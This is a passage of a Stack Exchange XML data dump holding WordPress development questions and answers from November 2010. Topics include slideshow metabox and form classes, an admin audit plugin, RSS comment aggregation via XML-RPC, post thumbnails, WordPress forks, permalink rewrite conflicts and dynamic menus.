slide.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Metaboxes&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Metaboxes&#xA;    private $slideshow;&#xA;    private $boxes;&#xA;    public function __construct(Slideshow $slideshow) {&#xA;        $this-&amp;gt;slideshow = $slideshow;&#xA;        $this-&amp;gt;editorAction();&#xA;    }&#xA;    private function createMetaboxes() {&#xA;        $slides = $this-&amp;gt;slideshow;&#xA;        $boxes = array();&#xA;        foreach($slides as $slide) {&#xA;            $boxes[] = new Metabox($slide);&#xA;        }&#xA;        $this-&amp;gt;boxes = $boxes;&#xA;    }&#xA;    private function editorAction() {&#xA;        $this-&amp;gt;createMetaboxes();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only wrote some little code here so far. The Metaboxes class acts as a manager for all metaboxes. The representative of the Slideshow as Metabox represents a slide. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That stub code does not much but instantiating one Metabox per Slide. It can and must do more in the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably might want to make use the of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Composite_pattern&quot; rel=&quot;nofollow&quot;&gt;Composite Pattern&lt;/a&gt; here, so to do an action on a Metaboxes object will do the same action on every Metabox it carries. Comparable with the instantiation, where it creates new Metaboxes. So you don't need to deal with individual Metaboxes later on, just with the Metaboxes object. Just an Idea.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Form&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Form is probably the most complex thing you have in terms of dealing with stuff and lines of code. It needs to abstract your data to be processed via the Browser. So it must be able to handle multiple instances. You can achieve this by prefixing form element names (as they need to be unique) with a genreal prefix (e.g. &quot;slide&quot;), then an identifier (the slide index, I name it index here as you want to be able to change the number e.g. to have a sort key) and then the actual value identifier (e.g. &quot;number&quot; or &quot;hide&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's see: A form knows about it's prefix, the slide's number and all fields it contains. This pretty much maps to the Slideshow and Slide datatypes spoken about above. Some little stub-code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * SlideForm&#xA; *&#xA; * Draw a Form based on Slide Data and a Form definition. Process it's Input.&#xA; */&#xA;class SlideForm {&#xA;    /** @var Slide */&#xA;    private $slide;&#xA;    private $prefix = 'slide';&#xA;    public function __construct(Slide $slide) {&#xA;       $this-&amp;gt;slide = $slide;&#xA;    }&#xA;    private function inputNamePrefix() {&#xA;       $index = $this-&amp;gt;slide-&amp;gt;getIndex();&#xA;       $prefix = $this-&amp;gt;prefix;&#xA;       return sprintf('%s-%d-', $prefix, $index);&#xA;    }&#xA;    private function inputName($name) {&#xA;       return $this-&amp;gt;inputNamePrefix().$name;&#xA;    }&#xA;    private function printInput(array $element) {&#xA;        list($type, $parameters) = $element;&#xA;        $function = 'printInput'.$type;&#xA;        $callback = array($this, $function)&#xA;        call_user_func_array($callback, $parameters);&#xA;    }&#xA;    private function printInputText($value, $name, $label, $size = 4) {&#xA;        $inputName = $this-&amp;gt;inputName($name);&#xA;        ?&amp;gt;&#xA;        &amp;lt;label for=&quot;&amp;lt;?php echo $inputName ; ?&amp;gt;&quot;&amp;gt;&#xA;          &amp;lt;?php echo htmlspecialchars($label); ?&amp;gt;:&#xA;        &amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; &#xA;          name=&quot;&amp;lt;?php echo $inputName; ?&amp;gt;&quot;&#xA;          size=&quot;&amp;lt;?php echo $size; ?&amp;gt;&quot;  &#xA;          value=&quot;&amp;lt;?php echo htmlspecialchars($value); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;    private function printInputCheckbox($value, $name, $label, ... ) { ... }&#xA;    private function printInputRadio($value, $name, $label, ... ) { ... }&#xA;    private function printInputImage($value, $name, $label, ... ) { ... }&#xA;    private function printInputWysiwyg($value, $name, $label, ... ) { ... }&#xA;    private function printInputTextarea($value, $name, $label, ... ) { ... }&#xA;    // ...&#xA;    private function mapSlideValueTo(array $element) {&#xA;        $slide = $this-&amp;gt;slide;&#xA;        list($type, $parameters) = $element;&#xA;        list($name) = $parameters;&#xA;        $value = $slide-&amp;gt;$name;&#xA;        array_unshift($parameters, $value);&#xA;        $element[1] = $parameters;&#xA;        return $element;&#xA;    }&#xA;    /**&#xA;     * @return array form definition&#xA;     */&#xA;    private function getForm() {&#xA;        // Form Definition&#xA;        $form = array(&#xA;           array(&#xA;               'Text', &#xA;               array(&#xA;                   'number', 'Number'&#xA;               ),&#xA;           array(&#xA;               'Checkbox', &#xA;               array(&#xA;                   'hide', 'Display', 'Hide This Slide'&#xA;               ),&#xA;           ),&#xA;           array(&#xA;               'Radio', &#xA;               array(&#xA;                   'type', 'Type', array('Image', 'Video')&#xA;               ),&#xA;           ),&#xA;           array(&#xA;               'Text', &#xA;               array(&#xA;                   'title', 'Title', 16&#xA;               ),&#xA;           ),&#xA;           // ...&#xA;        );&#xA;        return $form;&#xA;    }&#xA;    public function printFormHtml() {&#xA;        $form = $this-&amp;gt;getForm();&#xA;&#xA;        foreach($form as $element) {&#xA;            $element = $this-&amp;gt;mapSlideValueTo($element);&#xA;            $this-&amp;gt;printInput($element);&#xA;        }&#xA;    }&#xA;    public function processFormElement($element) {&#xA;        list($type, $parameters) = $element;&#xA;        list($name) = $parameters;&#xA;        $inputName = $this-&amp;gt;inputName($name);&#xA;&#xA;        $map = array(&#xA;            'Text' =&amp;gt; 'String', &#xA;            'Checkbox' =&amp;gt; 'Checkbox', &#xA;            'Radio' =&amp;gt; 'Radio', &#xA;        );&#xA;&#xA;        // I would need to continue to code there.&#xA;        throw new Exception('Continue to code: Process Form Input based on Form Definition');&#xA;    }&#xA;    public function processForm() {&#xA;        $form = $this-&amp;gt;getForm();&#xA;&#xA;        foreach($form as $element) {&#xA;            $this-&amp;gt;processFormElement($element);  // &amp;lt;- this function needs to be coded&#xA;        }&#xA;    }&#xA;    // ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This class is quite large now because it takes care of three things at once: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Form Definition&lt;/li&gt;&#xA;&lt;li&gt;Form Output Rendering&lt;/li&gt;&#xA;&lt;li&gt;Form Input Processing&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It is wiser to split this up into the three parts it represents. I leave that up to you. It does already show how you can encapsulate the forms functionality into smaller tasks so it's easier to comply with your needs. E.g. in case the Image Input element form output needs tweaks, it can be easily extended / polished. Same for WYSIWYG. You can change the implementation later on as it won't interfere for you slideshow and slide datatypes much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The principle behind this is also called &lt;em&gt;Separation of Concerns&lt;/em&gt;, and that is just about how I started my answer: Divide the problem into smaller problems. Those separated problems are easier to solve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps for the moment. In the end I didn't come back to Custom Post Types even. I know they must go inside the plugin, but with a new design it's probably easy to find the place where to write the code to.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What's left?&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Split the code into multiple files. One class per file. You can merge them together later easily, but for development, keep things apart as you want to solve the smaller problems / parts on their own.&lt;/li&gt;&#xA;&lt;li&gt;Testing: You need to test the functionality of the parts on their own. Is the slide doing what it should do? Gladly you can make use of Unittests if you write classes, for PHP there is &lt;a href=&quot;http://www.phpunit.de/&quot; rel=&quot;nofollow&quot;&gt;PHPUnit&lt;/a&gt;. This helps you to develop the code while knowing that it does exactly what it does. This helps to solve the simple problems in a unit of each own and you can more easily change your code later on as you can run tests all the time.&lt;/li&gt;&#xA;&lt;li&gt;Testing #2: Sure you need to test your plugin as a whole as well so you know that it is doing what you're looking for. Can you imagine how that can be done automatically so you can repeat the test with the same quality all the time?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-16T16:29:04.970" LastActivityDate="2010-11-16T16:29:04.970" CommentCount="7" />
  <row Id="4103" PostTypeId="1" CreationDate="2010-11-15T20:11:08.417" Score="4" ViewCount="132" Body="&lt;p&gt;Is there a plugin that tracks wordpress admin settings and actions? eg when plugins are activated/deactivated, plugin settings are changed, user settings and permissions changed?&lt;/p&gt;&#xA;" OwnerUserId="1541" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-17T01:25:04.533" LastActivityDate="2010-12-17T14:38:24.853" Title="System audit plugin?" Tags="&lt;plugin-recommendation&gt;&lt;wp-admin&gt;" AnswerCount="2" />
  <row Id="4104" PostTypeId="2" ParentId="3901" CreationDate="2010-11-15T20:11:10.960" Score="1" ViewCount="" Body="&lt;p&gt;You could use the normal wp loop (no need for complications) and get_bookmarks($args) to get the links you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$i = 1;&#xA;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;//your posts here&#xA;if ($i&amp;amp;1) echo 'blogroll '.$i;//blogroll 2, 4, etc.&#xA;$i++;&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1580" LastActivityDate="2010-11-15T20:11:10.960" CommentCount="1" />
  <row Id="4105" PostTypeId="1" AcceptedAnswerId="4111" CreationDate="2010-11-15T20:26:10.610" Score="1" ViewCount="120" Body="&lt;p&gt;I am working on an aggregator at the moment for an opt-in blog service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essential a handful of people submit their WP blogs to the aggregator for, well, aggregation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently using a slightly hacked version of &lt;a href=&quot;http://feedwordpress.radgeek.com/&quot; rel=&quot;nofollow&quot;&gt;http://feedwordpress.radgeek.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to be able to do is for each bit of syndicated content shoot off to the post in question and grab the latest comments and comment count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any opinions on the best way to do this?&lt;/p&gt;&#xA;" OwnerUserId="1213" LastActivityDate="2010-11-15T21:43:55.377" Title="Any tools for quickly grabbing comments / comment count?" Tags="&lt;customization&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="4106" PostTypeId="2" ParentId="3366" CreationDate="2010-11-15T20:32:01.057" Score="0" ViewCount="" Body="&lt;p&gt;If you want to use local caching on server, you can complete it with image processing scripts like &lt;a href=&quot;http://code.google.com/p/timthumb/&quot; rel=&quot;nofollow&quot;&gt;Timthumb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1580" LastActivityDate="2010-11-15T20:32:01.057" />
  <row Id="4107" PostTypeId="1" AcceptedAnswerId="4109" CreationDate="2010-11-15T20:42:34.317" Score="0" ViewCount="192" Body="&lt;p&gt;Is there a simple way to use the post thumbnail when calling &lt;code&gt;previous_post_link()&lt;/code&gt; and &lt;code&gt;next_post_link()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="92" LastEditorUserId="92" LastEditorDisplayName="" LastEditDate="2010-11-15T20:51:27.493" LastActivityDate="2010-11-15T21:06:32.417" Title="Showing Thumbnail from Previous and Next Posts" Tags="&lt;posts&gt;&lt;post-thumbnails&gt;&lt;previous-post-link&gt;&lt;next-post-link&gt;" AnswerCount="1" />
  <row Id="4109" PostTypeId="2" ParentId="4107" CreationDate="2010-11-15T21:04:29.330" Score="2" ViewCount="" Body="&lt;p&gt;This could be acheived by using the &lt;code&gt;get_previous_post()&lt;/code&gt; and &lt;code&gt;get_the_post_thumbnail()&lt;/code&gt; functions. Then just pass the thumbnail value into the second parameter of &lt;code&gt;previous_post_link()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$prevPost = get_previous_post();&#xA;$prevThumbnail = get_the_post_thumbnail( $prevPost-&amp;gt;ID );&#xA;previous_post_link( '%link', $prevThumbnail );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-11-15T21:04:29.330" />
  <row Id="4110" PostTypeId="2" ParentId="4079" CreationDate="2010-11-15T21:08:01.543" Score="2" ViewCount="" Body="&lt;p&gt;The easiest way is a two step approach:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Release your plug-in to the public.&lt;/strong&gt;  Once it's live, you'll start getting feedback from end users in addition to developers.  If you want, release it as a &quot;beta&quot; version and heavily emphasize that in the readme file.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Ask.&lt;/strong&gt;  There are veteran WordPress developers everywhere: here, on the WP-Hackers list, at &lt;a href=&quot;http://jobs.wordpress.net&quot; rel=&quot;nofollow&quot;&gt;WordPress jobs&lt;/a&gt;, stalking &lt;a href=&quot;http://twitter.com/wordpress&quot; rel=&quot;nofollow&quot;&gt;@wordpress&lt;/a&gt; on Twitter, etc.  It's just a matter of throwing your plug-in out there and asking for feedback.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In general, follow the same steps as you would getting a Core patch looked at by a developer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Write it&lt;/li&gt;&#xA;&lt;li&gt;Document it&lt;/li&gt;&#xA;&lt;li&gt;Contact a developer (either broadly through one of the above channels or directly if you can) and ask for feedback&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As far as transforming the kind of &quot;mentorship&quot; that occurs on this site into something more concrete, that would be an organic process.  As you've already mentioned, efforts to create a kind of plug-in review process &lt;em&gt;before&lt;/em&gt; actually reviewing anything seem to have stalled.  The only way to get anything off the ground is to &lt;em&gt;actually&lt;/em&gt; start doing it.  So don't just talk about finding a veteran developer and getting feedback, go out, find one, get your feedback, and write down how the process went.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it can be repeated with future plug-ins and future developers.  But you've got to start somewhere ...&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-15T21:08:01.543" CommentCount="3" />
  <row Id="4111" PostTypeId="2" ParentId="4105" CreationDate="2010-11-15T21:15:54.753" Score="2" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;grab the rss feeds for the posts&lt;/li&gt;&#xA;&lt;li&gt;grab the comments rss feed for each of these posts&lt;/li&gt;&#xA;&lt;li&gt;make it cache if you want to do multiple runs also handy for debugging bad feeds&lt;/li&gt;&#xA;&lt;li&gt;don't do this code in a wordpress install but on a standalone place where you install magpierss/&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Use a token that stores the latest date in &lt;em&gt;each&lt;/em&gt; rss feed read for the next time you do an &quot;aggregation&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Possibly re-combine it in a new RSS feed and publish that one for subscription.&#xA;b) Possibly re-post each post in the new twitter feed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;header:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once 'magpierss/rss_fetch.inc';&#xA;define(&quot;MAGPIE_CACHE_DIR&quot;, &quot;/home/yoursite/cache&quot;);&#xA;define(&quot;MAGPIE_CACHE_ON&quot;, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;simple loop based on a file based storage of cache and last-datetime-counter:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rss = fetch_rss('http://whateversite/rss.php');&#xA;$filename = &quot;/your_path_to_datetime_token/timedatetoken.txt&quot; ;&#xA;$fp = fopen($filename, 'r');&#xA;$lastdate = fread($fp, filesize($filename));    &#xA;fclose($fp);&#xA;$wroteLastDate = false; &#xA;// read feed&#xA;foreach ($rss-&amp;gt;items as $item) {&#xA;$published = $item['date_timestamp'];   &#xA;if ($published &amp;gt; $lastdate) { &#xA;    if ($wroteLastDate == false) { &#xA;        $fp = fopen($filename, 'w');&#xA;        fwrite($fp, $published);&#xA;        fclose($fp);    &#xA;        $wroteLastDate = true;&#xA;    }   &#xA;    $title = $item[title];&#xA;    $url   = $item[link];&#xA;    $guid   = $item[guid];&#xA;    $description = $item[description];&#xA;    $description = strip_tags($description); &#xA;            // now store it somewhere or e.g. post it to your owb blog via xmlrpc&#xA;}   &#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the same loop needed for the comments which is the form /feed , so&#xA;you call with each post you find above ($url) a new exact the same loop but then for ($url)/feed. These are the comments, same loop, same procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The line &quot;// now store it somewhere or e.g. post it to your owb blog via xmlrpc&quot; now means you could call your own aggregator blog xmlrpc to add either a new post or a new comment to an existing post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) adding a new post is pretty default, you could call this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpPostXMLRPC($title,$body,$rpcurl,$username,$password,$categories=array(867)) {&#xA;$categories = implode(&quot;,&quot;, $categories);&#xA;$XML = &quot;&amp;lt;title&amp;gt;$title&amp;lt;/title&amp;gt;&quot; . &quot;&amp;lt;category&amp;gt;$categories&amp;lt;/category&amp;gt;&quot; . $body;&#xA;$params = array('','',$username,$password,$XML,1);&#xA;$request = xmlrpc_encode_request('blogger.newPost',$params);&#xA;$ch = curl_init();&#xA;curl_setopt($ch, CURLOPT_POSTFIELDS, $request);&#xA;curl_setopt($ch, CURLOPT_URL, $rpcurl);&#xA;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&#xA;curl_setopt($ch, CURLOPT_TIMEOUT, 1);&#xA;curl_exec($ch);&#xA;curl_close($ch);&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the blog is entered in your aggregator blog. Now for the comment:&#xA;you have to check that the post is already present in your blog before adding a comment via XMLRPC. So first do the check, then do the comment (and actually maybe do that even before adding a new post).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a new comment via: wp.newComment (http://codex.wordpress.org/XML-RPC_wp)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I you are close to the aggregator application database you can skip XMLRPC and do instead of XMLRPC direct database calls to validate e.g. if the post is already present, grab the id, then check if the comment is present, if not store it, if updated, update it, if deleted, then delete it (to be completely in sync).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(you need to delete comments and posts on your side to prevent people calling you to delete a post or comment because of all kinds of reasons, sometimes years later) --&gt; leading to a decision on how long you want to keep aggregated posts and comments for external display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would run this scheduled rss checker and updater as a seperate application and not in the same application as where the presentation layer is to make it scalable etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-15T21:43:55.377" LastActivityDate="2010-11-15T21:43:55.377" />
  <row Id="4112" PostTypeId="2" ParentId="4092" CreationDate="2010-11-15T21:52:22.207" Score="0" ViewCount="" Body="&lt;p&gt;depending on the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check pages.php code and remove stuff related to comments&lt;/p&gt;&#xA;&#xA;&lt;p&gt;be careful not to break the design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can post the code of pages.php here, hope we can help tell u modifications that need to be done&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-11-15T21:52:22.207" />
  <row Id="4113" PostTypeId="2" ParentId="4103" CreationDate="2010-11-15T21:52:44.500" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/admin-log/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/admin-log/&lt;/a&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-15T21:52:44.500" />
  <row Id="4114" PostTypeId="2" ParentId="3997" CreationDate="2010-11-15T21:56:20.547" Score="5" ViewCount="" Body="&lt;h2&gt;WordPress MU&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Originally, &lt;a href=&quot;http://en.wikipedia.org/wiki/WordPress#Multi-blogging&quot; rel=&quot;nofollow&quot;&gt;WordPress MU was a &quot;fork&quot;&lt;/a&gt; of the traditional WordPress system.  The goal was to use WordPress to power a network of discrete sites rather than a single one.  In the end, this proved to be a powerful, in-demand feature and the MU fork was rolled back into WordPress core to become what we know today as Multi-site with 3.0.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Lyceum&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Lyceum was another fork that &lt;a href=&quot;http://lyceum.ibiblio.org/about/&quot; rel=&quot;nofollow&quot;&gt;meant to extend WordPress&lt;/a&gt; from a single site to a multi-site system, specifically for enterprise systems.  It was abandoned (&quot;shut down&quot;) about the same time as announcements regarding the WordPress MU merge came out.  The site is still live and you can still download an old version, but the fork is no longer maintained.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Others&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I've heard of versions of WordPress that do nothing different except for replace the database structure with something other than MySQL.  I've run across one that uses Microsoft SQL Server, and another that uses a flat-file system similar to a wiki.  Each was developed to fit a specific server architecture and interface with a specific other platform (The SQL Server system &lt;em&gt;had&lt;/em&gt; to run on SQL Server.  The flat-file system &lt;em&gt;had&lt;/em&gt; to integrate with another CMS that could only read flat-files).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But aside from MU and Lyceum, there haven't been any major forks that I've heard of that have lasted longer than a month or two.  WordPress has an incredibly ambitious development cycle, and most &quot;forks&quot; have come about because someone wanted to add a specific feature but still stay relatively in-sync with WordPress while the core team added other new features.  MU, for example, was always a few months behind WordPress, but that didn't seem to bother anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like you mentioned, WordPress is itself a fork from another project.  So forking is possible, and can be successful.  It just doesn't happen too often.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-15T21:56:20.547" CommentCount="4" />
  <row Id="4115" PostTypeId="2" ParentId="4036" CreationDate="2010-11-15T21:58:26.683" Score="0" ViewCount="" Body="&lt;p&gt;The reason adding second permalinks like that makes the first type inaccessible is because WordPress is interpretting both &lt;code&gt;list-firemen-games&lt;/code&gt; and &lt;code&gt;list-mario&lt;/code&gt; as &lt;code&gt;list-firemen-games&lt;/code&gt; post types. To WordPress, the regular expression that is registered looks exactly the same (both look something like &lt;code&gt;([^/]+)\.php/?&lt;/code&gt;), so when it pulls that regular expression, it's going to match that pattern against the first entry it finds in the rewrite rules; in this case, &lt;code&gt;list-firemen-games&lt;/code&gt;.&#xA;The reason it was working when you added &lt;code&gt;test&lt;/code&gt; to the permalink is because now the regex for &lt;code&gt;list-mario&lt;/code&gt; looks like &lt;code&gt;test/([^/]+)\.php/?&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want both types to have the same permastruct, but want to differentiate firemen from mario, I suggest using a custom taxonomy for the post type.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-11-15T21:58:26.683" CommentCount="1" />
  <row Id="4116" PostTypeId="2" ParentId="2303" CreationDate="2010-11-15T22:07:14.477" Score="2" ViewCount="" Body="&lt;h1&gt;menu with non dynamic content&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;if the menu structure is fixed then you can create a fixed menu using the &quot;new&quot; wp menu system (quadrillion weblog postings on that)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;menu with dynamic content&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;if the menu structure is not fixed you can:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. ask the users to manually maintain the menu after e.g. adding a new category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. try to hook on everything that goes in the menu e.g. a new category and add it to the menu to prevent these manual actions for your users&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c. choose another &quot;non-wp&quot; menu and fill that dynamically on each page load (obviously with caching). example: to put a counter (67) behind the entries that represent tag pages&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In case of option (c) I would go to e.g.: &lt;a href=&quot;http://www.mycssmenu.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.mycssmenu.com/&lt;/a&gt; generate the code for a menu you like, then copy and paste the javascript and css for that menu in your header.php of your theme. (I don't know who owns that site but the GUI system for creating a new menu is absolute very cool).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then replace the content bits (really simple: only the li items) with some code that e.g. queries the amount of categories in a hierarchical loop and replace the li items by dynamic output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&gt; In that way you have a dynamic menu with dynamic content and you can play with the code to do whatever you like with it in your menu.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Example&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The menu generator generated me .css and .javascript and my example content of the menu. I replaced the example content with calls to a function &quot;taglinklineRounded&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a class=&quot;qmparent&quot; href=&quot;javascript:void(0)&quot;&amp;gt;ARTS&amp;lt;/a&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span class=&quot;qmtitle&quot; &amp;gt;Listen&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php echo taglinklineRounded('music',    'Music') ?&amp;gt;&#xA;        &amp;lt;?php echo taglinklineRounded('radio',    'Radio') ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span class=&quot;qmdivider qmdividerx&quot; &amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span class=&quot;qmtitle&quot; &amp;gt;Look&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php echo taglinklineRounded('comics',   'Graphics') ?&amp;gt;&#xA;        &amp;lt;?php echo taglinklineRounded('photo',    'Photo') ?&amp;gt;&#xA;        &amp;lt;?php echo taglinklineRounded('graphics', 'Graphics') ?&amp;gt;&#xA;        &amp;lt;?php echo taglinklineRounded('art',      'Art') ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span class=&quot;qmdivider qmdividerx&quot; &amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span class=&quot;qmtitle&quot; &amp;gt;View&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php echo taglinklineRounded('tv',       'TV') ?&amp;gt;&#xA;        &amp;lt;?php echo taglinklineRounded('video',    'Video') ?&amp;gt;&#xA;        &amp;lt;?php echo taglinklineRounded('movie',    'Movie') ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span class=&quot;qmdivider qmdividerx&quot; &amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span class=&quot;qmtitle&quot; &amp;gt;Read&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php echo taglinklineRounded('book',     'Book') ?&amp;gt;&#xA;        &amp;lt;?php echo taglinklineRounded('writing',  'Writing') ?&amp;gt;&#xA;        &amp;lt;?php echo taglinklineRounded('news',     'News') ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span class=&quot;qmdivider qmdividerx&quot; &amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;span class=&quot;qmtitle&quot; &amp;gt;Specific&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php echo taglinklineRounded('scifi',    'Sci-Fi') ?&amp;gt;&#xA;        &amp;lt;?php echo taglinklineRounded('lost',     'LOST') ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The taglinklineRounded function gives me the amount of entries that have this tag (but obviously any whatever code can be done on the menu structure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a more dynamic approach you read the categories / whatever other content needs to be in the menu and instead of in the example the hardcoded 'scifi' ... replace it with an echo statement of the output of that categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(also ofcourse as deep as you want represented in the style choosen).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Other idea&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I guess you can even combine the standard wp menu with the dynamic menu by having certain parts in the menu managed by the users and others dynamic by combining the outputs in a new dynamic menu. Haven't played with that.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-15T22:21:40.197" LastActivityDate="2010-11-15T22:21:40.197" />
